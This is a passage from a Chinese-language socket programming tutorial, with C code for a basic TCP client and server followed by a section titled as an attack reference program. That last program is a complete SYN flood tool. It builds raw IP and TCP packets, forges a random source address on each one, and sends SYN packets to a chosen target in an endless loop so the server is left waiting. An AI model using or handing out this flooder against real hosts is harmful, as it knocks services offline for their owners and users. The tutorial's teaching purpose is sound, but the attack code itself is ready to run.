{/*** Step 1: 創建一個socket, 指定SOCK_STREAM參數代表基于TCP協議* 如果是UDP協議,則需要用SOCK_DGRAM*/int sockfd = socket(AF_INET, SOCK_STREAM, 0);/*** Step 2: 設置目標主機IP地址和端口號* IP+Port, 標識網絡上某個主機的通信進程*/struct sockaddr_in dest;memset(&dest, 0, sizeof(struct sockaddr_in));dest.sin_family = AF_INET;dest.sin_addr.s_addr = inet_addr(SER_ADDR);dest.sin_port = htons(SER_PORT);/*** Step 3: 連接服務器**/if (connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr_in)) != 0){/* 此處SYN Flood攻擊會用到 */fprintf(stdout, "Error for connect: %s\n", strerror(errno));return 1;}/*** Step 4: 向Server發送數據*/char *buffer1 = "Hello Server!\n";char *buffer2 = "Hello Again!\n";write(sockfd, buffer1, strlen(buffer1));write(sockfd, buffer2, strlen(buffer2));/*** Step 5: 關閉連接*/close(sockfd);return 0;
}
?
7.4.5.2. TCP Server程序
一個Server程序的大致步驟為:
-
創建一個socket
-
綁定一個端口號
-
開始監聽
-
接受一個連接請求。
-
收發數據
-
關閉連接請求
-
關閉socket
其中 4、5、6可作為一個循環,多次響應連接請求。
下面我們是一個TCP Server程序,還是老規矩,力求簡單,不做容錯處理,
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>#define SER_ADDR 9999int main(int argc, char *argv[])
{int sockfd, newsockfd;struct sockaddr_in my_addr, client_addr;char buffer[100];/*** Step 1: 創建一個socket, 指定SOCK_STREAM代表TCP*/sockfd = socket(AF_INET, SOCK_STREAM, 0);/*** Step 2: 綁定一個端口號*/memset(&my_addr, 0, sizeof(struct sockaddr_in));my_addr.sin_family = AF_INET;my_addr.sin_port = htons(SER_ADDR);if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_in)) < 0){perror("Error for bind");return 1;}/*** Step 3: 監聽連接*/listen(sockfd, 5);fprintf(stdout, "Serve listenning....\n");while(1){/*** Step 4: Accept 一個連接請求*/socklen_t client_len = sizeof(client_addr);newsockfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);/*** Step 5: 從當前連接讀取數據 */memset(buffer, 0, sizeof(buffer));int len = read(newsockfd, buffer, 100);printf("Received %d bytes: %s", len, buffer);/*** Step 6: 關閉當前鏈接*/close(newsockfd);}/*** Step 7: 關閉套接字*/close(sockfd);return 0;
}
7.4.5.3. Attack 攻擊參考程序
#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <netdb.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <arpa/inet.h>#include <linux/tcp.h>//我們自己寫的攻擊函數void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);//如果什么都讓內核做,那豈不是忒不爽了,咱也試著計算一下校驗和。unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char** argv)
{int skfd;struct sockaddr_in target;struct hostent *host;const int on=1;unsigned short srcport;printf("argc = %d\n", argc);if(argc != 4) {printf("Usage:%s target dstport srcport\n",argv[0]);exit(1);}bzero(&target,sizeof(struct sockaddr_in));target.sin_family=AF_INET;target.sin_port=htons(atoi(argv[2]));if(inet_aton(argv[1],&target.sin_addr)==0){host=gethostbyname(argv[1]);if(host==NULL){printf("TargetName Error:%s\n",hstrerror(h_errno));exit(1);}target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);}//將協議字段置為IPPROTO_TCP,來創建一個TCP的原始套接字if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){perror("Create Error");exit(1);}//用模板代碼來開啟IP_HDRINCL特性,我們完全自己手動構造IP報文if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){perror("IP_HDRINCL failed");exit(1);}//因為只有root用戶才可以play with raw socket :)setuid(getpid());srcport = atoi(argv[3]);attack(skfd,&target,srcport);return 0;
}//在該函數中構造整個IP報文,最后調用sendto函數將報文發送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{char buf[128]={0};struct ip *ip;struct tcphdr *tcp;int ip_len;//在我們TCP的報文中Data沒有字段,所以整個IP報文的長度ip_len = sizeof(struct ip)+sizeof(struct tcphdr);//開始填充IP首部ip=(struct ip*)buf;ip->ip_v = IPVERSION;ip->ip_hl = sizeof(struct ip)>>2;ip->ip_tos = 0;ip->ip_len = htons(ip_len);ip->ip_id=0;ip->ip_off=0;ip->ip_ttl=MAXTTL;ip->ip_p=IPPROTO_TCP;ip->ip_sum=0;ip->ip_dst=target->sin_addr;//開始填充TCP首部tcp = (struct tcphdr*)(buf+sizeof(struct ip));tcp->source = htons(srcport);tcp->dest = target->sin_port;tcp->seq = random();tcp->doff = 5;tcp->syn = 1;tcp->check = 0;while(1){//源地址偽造,我們隨便任意生成個地址,讓服務器一直等待下去ip->ip_src.s_addr = random();tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));}
}//關于CRC校驗和的計算,網上一大堆,我就“拿來主義”了
unsigned short check_sum(unsigned short *addr,int len)
{register int nleft=len;register int sum=0;
// register short *w=addr;register unsigned short *w=addr;short answer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsigned char *)(&answer)=*(unsigned char *)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);
}